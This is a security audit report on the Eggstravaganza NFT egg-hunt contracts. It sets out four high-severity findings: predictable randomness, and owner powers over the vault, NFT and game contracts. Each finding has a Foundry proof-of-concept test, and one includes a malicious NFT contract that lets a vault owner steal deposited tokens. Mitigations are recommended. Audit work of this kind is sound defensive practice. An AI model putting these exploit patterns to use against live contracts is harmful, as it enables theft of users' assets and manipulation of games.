2025-04-eggstravaganza Audit Report

Version 1.0

Vincent71399

April 8, 2025

2025-04-eggstravaganza Audit Report

Vincent71399

April 8, 2025

2025-04-eggstravaganza Audit Report

Auditor:

- Vincent71399

Protocol Summary

Platform:

- CodeHawks

Disclaimer

I, Vincent71399, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Findings

High

[H-1] Weak randomness in `EggHuntGame::searchForEgg`, block proposer may predict or manipulate the outcome

Description: Combining msg.sender, block.timestamp, block.prevrandao, and the contract storage value `EggHuntGame::eggCounter` for hashing results in a predictable number. Since predictability undermines randomness, malicious users can anticipate the outcome of the egg hunt and participate only when success is guaranteed.

Impact: This affects the fairness of the game, malicious users can ensure winning eggs

Proof of Concept: There are a few attack vectors here. Validators can know ahead of time the `block.timestamp`, for `block.prevrando` Although better than block.timestamp, it's still pseudo-random and can be manipulated within some limits. It's not safe for high-stakes applications like games, lotteries, or financial products.

Recommended Mitigation: Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-2] Centralization Risk for trusted vault owners, vault owner can steal any NFTs deposited by MEV attacker when user call `withdrawEgg`

Description: The vault owner has the ability to change the linked NFT contract at any time. After users deposit their NFTs, the owner could potentially switch the contract to a malicious one. When users attempt to withdraw, if vault owner do a Front running to change the eggNFT address, users would receive fake eggNFTs from the malicious contract, allowing the vault owner to keep the genuine NFTs for themselves.

```
    function setEggNFT(address _eggNFTAddress) external onlyOwner {
        require(_eggNFTAddress != address(0), "Invalid NFT address");
        eggNFT = EggstravaganzaNFT(_eggNFTAddress);
    }
```

Impact: This could lead to potential loss of user funds if the vault owner acts maliciously.

Proof of Concept: add the following malicious NFT contract and test case to simulate the scenario.

```
    // SPDX-License-Identifier: SEE LICENSE IN LICENSE
    pragma solidity ^0.8.23;

    import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.
        sol";
    import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";

    contract MaliciousNFT is ERC721, Ownable {
        constructor() ERC721("MaliciousNFT", "MNFT") Ownable(msg.sender
            ) {}

        function mint(address to, uint256 tokenId) external onlyOwner {
            _mint(to, tokenId);
        }

        function adminTransferToken(
            address to,
            uint256 tokenId
        ) external onlyOwner {
            _update(to, tokenId, address(0));
        }
    }
```

then add the test and run it

```
    ...
    address nftOwner = makeAddr("nftOwner");
    address vaultOwner = makeAddr("vaultOwner");
    address gameOwner = makeAddr("gameOwner");
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    uint256 constant GAME_DURATION = 100;

    function setUp() public {
        vm.prank(nftOwner);
        nft = new EggstravaganzaNFT(NAME, SYMBOL);

        vm.startPrank(vaultOwner);
        vault = new EggVault();
        vault.setEggNFT(address(nft));
```

```
17          vm.stopPrank();
18
19          vm.startPrank(gameOwner);
20          game = new EggHuntGame(address(nft), address(vault));
21          vm.stopPrank();
22
23          vm.prank(nftOwner);
24          nft.setGameContract(address(game));
25      }
26
27      modifier mintEggs(address user) {
28          vm.startPrank(gameOwner);
29          game.startGame(GAME_DURATION);
30          game.setEggFindThreshold(100);
31          vm.stopPrank();
32          vm.startPrank(user);
33          game.searchForEgg();
34          game.searchForEgg();
35          game.searchForEgg();
36          vm.stopPrank();
37          _;
38      }
39
40      ...
41
42      function testVaultOwnerStealEgg() public mintEggs(alice) {
43          vm.prank(vaultOwner);
44          MaliciousNFT maliciousNFT = new MaliciousNFT();
45
46          uint256 depositEggId = 1;
47          vm.startPrank(alice);
48          nft.approve(address(game), depositEggId);
49          game.depositEggToVault(depositEggId);
50          vm.stopPrank();
51
52          vm.startPrank(vaultOwner);
53          vault.setEggNFT(address(maliciousNFT));
54          maliciousNFT.mint(address(vault), depositEggId);
55          vm.stopPrank();
56
57          vm.prank(alice);
58          vault.withdrawEgg(depositEggId);
59
60          vm.startPrank(vaultOwner);
61          maliciousNFT.adminTransferToken(address(vault), depositEggId);
62          vault.depositEgg(depositEggId, vaultOwner);
63          vault.setEggNFT(address(nft));
64          vault.withdrawEgg(depositEggId);
65          vm.stopPrank();
66
67          assert(nft.ownerOf(depositEggId) == vaultOwner); // successful
```

```
                steal the egg nft
68      }
```

Recommended Mitigation: set EggNFT address in `EggVault::constructor`, once set it should not be changed.

```
1  +    constructor(address _eggNFTAddress) Ownable(msg.sender){
2  +        require(_eggNFTAddress != address(0), "Invalid NFT address");
3  +        eggNFT = EggstravaganzaNFT(_eggNFTAddress);
4  +    }
5  ...
6  -    function setEggNFT(address _eggNFTAddress) external onlyOwner {
7  -        require(_eggNFTAddress != address(0), "Invalid NFT address");
8  -        eggNFT = EggstravaganzaNFT(_eggNFTAddress);
9  -    }
```

[H-3] Centralization Risk for trusted egg nft owners, which could disrupt game functionality and potentially cause a Denial of Service.

Description: the contract owner has the ability to mint NFTs to any address at will by changing the game contract address to addresses controlled by the nft owner.

```
1      function setGameContract(address _gameContract) external onlyOwner
           {
2          require(_gameContract != address(0), "Invalid game contract
               address");
3          gameContract = _gameContract;
4      }
```

This causes a mismatch in the game's tracking of the next tokenId to mint, which can prevent other users from successfully minting their NFTs.

Impact: the game functionality could be disrupted, leading to a Denial of Service (DoS) for players.

Proof of Concept: add the following test and run it

```
1      address nftOwner = makeAddr("nftOwner");
2      address vaultOwner = makeAddr("vaultOwner");
3      address gameOwner = makeAddr("gameOwner");
4
5      address alice = makeAddr("alice");
6      address bob = makeAddr("bob");
7
8      uint256 constant GAME_DURATION = 100;
9
10     function setUp() public {
11         vm.prank(nftOwner);
12         nft = new EggstravaganzaNFT(NAME, SYMBOL);
```

```
13
14          vm.startPrank(vaultOwner);
15          vault = new EggVault();
16          vault.setEggNFT(address(nft));
17          vm.stopPrank();
18
19          vm.startPrank(gameOwner);
20          game = new EggHuntGame(address(nft), address(vault));
21          vm.stopPrank();
22
23          vm.prank(nftOwner);
24          nft.setGameContract(address(game));
25      }
26      ...
27      function testNFTOwnerDoS() public {
28          uint256 eggId = 1;
29          // nft owner can mint egg to any address
30          vm.startPrank(nftOwner);
31          nft.setGameContract(nftOwner);
32          nft.mintEgg(nftOwner, eggId);
33          nft.setGameContract(address(game));
34          // deposit egg to vault
35          nft.approve(address(game), eggId);
36          game.depositEggToVault(eggId);
37          // check result
38          assertTrue(vault.isEggDeposited(eggId));
39          assertEq(vault.eggDepositors(eggId), nftOwner);
40          vm.stopPrank();
41
42          vm.startPrank(gameOwner);
43          game.startGame(GAME_DURATION);
44          game.setEggFindThreshold(100);
45          vm.stopPrank();
46
47          vm.startPrank(alice);
48          vm.expectRevert(abi.encodeWithSelector(IERC721Errors.
                ERC721InvalidSender.selector, address(0))); // denial of
                Service
49          game.searchForEgg();
50          vm.stopPrank();
51      }
```

Recommended Mitigation: make gameContract unchangeable once set in `EggstravaganzaNFT::setGameContract`,

```
1       function setGameContract(address _gameContract) external onlyOwner
            {
2   +       require(gameContract == address(0), "Game contract already set"
        );
3           require(_gameContract != address(0), "Invalid game contract
                address");
```

```
4           gameContract = _gameContract;
5       }
```

[H-4] Centralization Risk for trusted game owners, game owner can easily manipulate the `searchEgg` outcome by MEV changing the `eggFindThreshold` to 0 or 100

Description: game owner can set the `eggFindThreshold` at any time, when it is 0, all searchEgg calls will fail, when it is 100, all searchEgg calls will succeed. game owner can use MEV to manipulate the outcome of any users searchEgg calls.

Impact: This breaks the fairness of the game, allowing the game owner to control the outcome of the egg hunt.

Proof of Concept: add following test and run it

```
1       function testGameOwnerManipulateSearchEgg() public {
2           vm.startPrank(gameOwner);
3           game.startGame(GAME_DURATION);
4           game.setEggFindThreshold(0); // front run let alice fail to
                find egg
5           vm.stopPrank();
6
7           vm.startPrank(alice);
8           game.searchForEgg();
9           vm.stopPrank();
10          assertEq(nft.balanceOf(alice), 0); // no egg found
11
12          vm.startPrank(gameOwner);
13          game.setEggFindThreshold(100); // front run let bob find egg
14          vm.stopPrank();
15
16          vm.startPrank(bob);
17          game.searchForEgg();
18          assertTrue(nft.ownerOf(1) == bob); // successful search egg
19      }
```

Recommended Mitigation: reconsider the game logic, like once game start, the game should not be stop till end time and the eggFindThreshold should not be changed.